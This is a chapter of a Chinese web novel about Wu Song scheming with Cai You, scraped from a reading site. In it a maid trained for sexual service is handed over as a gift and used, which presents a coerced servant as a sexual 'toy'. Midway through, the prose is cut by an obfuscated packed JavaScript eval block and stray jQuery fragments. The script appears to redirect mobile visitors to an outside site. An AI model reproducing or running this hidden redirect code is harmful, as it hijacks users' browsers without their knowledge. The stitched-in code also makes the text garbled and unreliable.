123读书网 > 玄幻小说 > 我,武松,靠科举无敌! > 第113章 赠送玩具,婢女舌姬

第113章 赠送玩具,婢女舌姬

    “我既做你靠山,自然为你说话。”


    武松假装认真地点头道:“此言有理,蔡兄想与太师分庭抗礼,必须罩住我等。”


    “你看太师的党羽,便是**放火,也能护得住。”


    蔡攸好像受到了挑战一样,昂然道:


    “我岂会输给那老狗!”


    “如此,我便放心了,从今以后,蔡兄便是我武松的靠山。”


    见武松“投诚”,蔡攸心满意足。


    转头看了一眼侍女,侍女马上从袋子里拿出一本书。


    “这是蔡绦那厮写的书,叫甚么《西清诗话》。”


    “我知你才华好,刊印了许多书,你给我写一本。”


    “老狗说我不学无术,不如老三有学问。”


    “我这等家世,我与圣上那等相好,要甚么学问,读个甚么书。”


    “你们读许多书,不就为了做大官,我已是大官,读个甚么鸟书!”


    武松听得居然无言以对...


    这**才是官二代、天龙人。


    太师蔡京的儿子,和皇帝从小认识,啥都不会、啥都不干,就能做总参谋长。


    而自己...


    武松抠了抠鼻孔,好像...


    也还好,没有十年寒窗,就是一年多,就中了状元,和蔡攸这个狗二代平起平坐。


    那没事了,寒窗十年关老子屁事!


    武松拿起《西清诗话》,总共三卷。


    这本书,武松只见过残卷。


    原因很简单,《西清诗话》不是很有名气,所以流传到现代,只剩下残卷。


    武松一边翻看,蔡攸在旁边不停地叨逼叨。


    “蔡兄,你有多讨厌蔡绦?”


    “我恨不能把老三剁碎喂狗。”


    “嘶...”


    武松看着蔡攸,说道:


    “蔡绦那等腌臜,岂可喂狗?万一把狗毒**。”


    蔡攸听着愣了一下,随即笑道:


    “你这鸟龟孙,这话我爱听。”


    武松把《西清诗话》丢在桌上,问道:


    “蔡绦现居何职?”


    “龙图直学士兼侍读。”


    武松心里又骂了一句,**,官二代就是好。


    龙图直学士兼侍读=龙图阁直学士+侍读。


    龙图阁直学士是贴职,从三品,地位仅次于六部尚书。


    包拯包青天曾经授予过龙图阁学士的贴职,非常清贵。


    侍读是差遣,也是蔡绦的实际官职,就是陪皇帝读书,也是一个美差。


    自己辛辛苦苦一年多,才他妈集英殿修撰,正六品。


    蔡绦不用科举,直接搞了个从三品的龙图直学士,岂有此理!


    必须弄死他!


    “这蔡绦好大的胆子,圣上力推新法,他却称赞元祐党人的诗!”


    “你看这,他说苏东坡才华好:天才宏放,宜与日月争光。”


    “你再看这个,他说黄庭坚的诗:妙脱蹊径,言侔鬼神,无一点尘俗气。”


    “这是公然与圣上作对,为旧党招魂,岂有此理!”


    “这厮想谋反!”


    蔡攸不学无术,不懂诗文。


    但是,他知道苏轼、黄庭坚都是旧党,反对王安石变法。


    而如今的徽宗,正在力推新法,排斥旧党。


    蔡绦这样做,是在公然和皇帝唱反调。


    这样的人,怎么能做龙图阁直学士?


    怎么可以陪皇帝读书?


    听了武松这话,蔡攸如获至宝,喜道:


    “哎呀,我就说老三脑后有反骨,果然!”


    “待我到宫里参他一本,罢了他的直学士侍读。”


    抓起《西清诗话》,蔡攸起身就想走。


    武松揪住蔡攸的衣领,滴溜溜提回来,笑道:


    “蔡兄,我助你搞垮蔡绦,你如何感谢我?”


    蔡攸摸了摸身上,拿出一块宝玉,丢在桌上:


    “此玉值千金,圣上送我的,我今送给你!”


    说罢,大步往外走。


    侍女跟在身后。


    走到门口,蔡攸突然转身,指着侍女说道:


    “这**送你要不要?”


    “啊?不用,别人用过的,我不要。”


    “没用过,处子之身。”


    蔡攸对着侍女吩咐道:


    “你跟着武松,好生伺候着。”


    吩咐完毕,蔡攸兴冲冲往外跑了。


    侍女望着蔡攸离去,神情茫然。


    武松坐下来,喝了一口茶,侍女回过神来,跪在地上磕头:


    “奴婢舌姬,拜见主人。”


    “蛇姬?你能操控蛇虫?”


    舌姬茫然抬头,说道:


    “奴婢岂敢操弄蛇虫,奴婢是舌姬。”


    说罢,舌姬伸出舌头,灵活地转动。


    嘶...


    好一个长舌妇!


    “我明白了,蔡攸那厮让你训练舌头的灵活度?”


    “是,奴婢每日用舌头编织线头,已练了五年。”


    “你练这个作甚?”


    其实武松大概猜到了,蔡攸那厮想做什么。


    舌姬有些难堪地回道:


    “就是...舌头练得灵活了,伺候老爷的..”


    果然,猜对了。


    武松骂道:


    “这等混账膏腴子弟,身居高位,却整日骄奢淫逸。”


    “为了自己爽一下,居然让一个婢女苦练舌头五年。”


    “太过分了,太无耻了...”


    眼看着武松义正言辞地骂蔡攸,舌姬心里暗暗焦急。


    舌姬别无长处,只是舌头长、很灵活。


    蔡攸看中这一点,所以专门让她修炼舌头。


    如果武松不喜欢,那她就毫无价值了。


    日后只能跟着普通的奴婢一样,每天做不完的粗活


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16253186|182038||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “主人,奴婢很会的。”


    说罢,舌姬从袖子里拿出一根丝线。


    柔软的舌头从樱桃小嘴伸出,然后将丝线卷进嘴里。


    嘴巴动了动,吐出一个蝴蝶结...


    **,厉害啊!


    “过来。”


    武松开口,舌姬匍匐爬到武松脚下,眼巴巴看着武松。


    “蔡攸喜欢你的舌头吗?”


    舌姬茫然摇头道:


    “奴婢练了五年,本来今日到老爷房中伺候的。”


    “却听蔡绦写了甚么书,老爷生气,拿着书来了这里。”


    “奴婢还没来得及伺候,就被送给主人了。”


    如此说来,这个舌姬还是个全新的。


    那就没问题了。


    武松伸出手指,勾起舌姬的下巴,仔细打量...


    鹅蛋脸、肌肤细腻柔嫩,长相甜美,是个不错的美人儿。


    “蔡攸为你费了许多钱粮,我不可暴殄天物。”


    “你跟我来。”


    武松起身,舌姬大喜,连忙爬起来。


    跟着进了书房,武松坐在椅子上。


    “来,让我看看你这五年练得如何?”


    舌姬大喜,爬到武松脚下,展示她苦练五年的才艺。


    武松抬眼看着墙上的孔子画像,心中暗道:


    蔡攸真是畜生,不学无术!


    不过...蔡攸也是个人才。


    这玩具真不错...嘶..


    ...


    太师府。


    天色渐渐黑下来。


    一台轿子落在门口,一个身穿红袍的男子脚步匆匆进门。


    “三公子。”


    奴仆见了,纷纷低头行礼。


    此人正是蔡京的三儿子蔡绦。


    “爹在哪里?”


    “回三公子,在书房。”


    蔡绦大步走进书房,蔡京正在灯下看书。


    “嗯?今夜不陪圣上读书?”


    蔡绦进门,蔡京微微蹙眉。


    在他看里,陪皇帝是最重要的事情,其他都可以不管。


    “我失宠了。”


    一句话,让蔡京如遭雷击!


    “怎会如此?你做了甚么!”


    蔡京是太师,牢牢掌握权柄,蔡家几个儿子都是高官。


    就连太师府的奴仆,也凭借蔡京的势力,在很多地方做了官儿。


    儿子蔡绦突然失宠了,蔡京很震惊!


    “都是大哥,他居然在圣上那里**我!”


    “说我同情元祐党人,反对新法!”


    嘶...


    蔡京放下手中书卷,骂道:


    “吃里扒外的狗东西,他想与我争权,所以才陷害你!”


    “他一张嘴会说,你怎的不会解释?”


    蔡京埋怨,蔡绦突然就不说话了。


    “到底为何?”


    蔡京追问。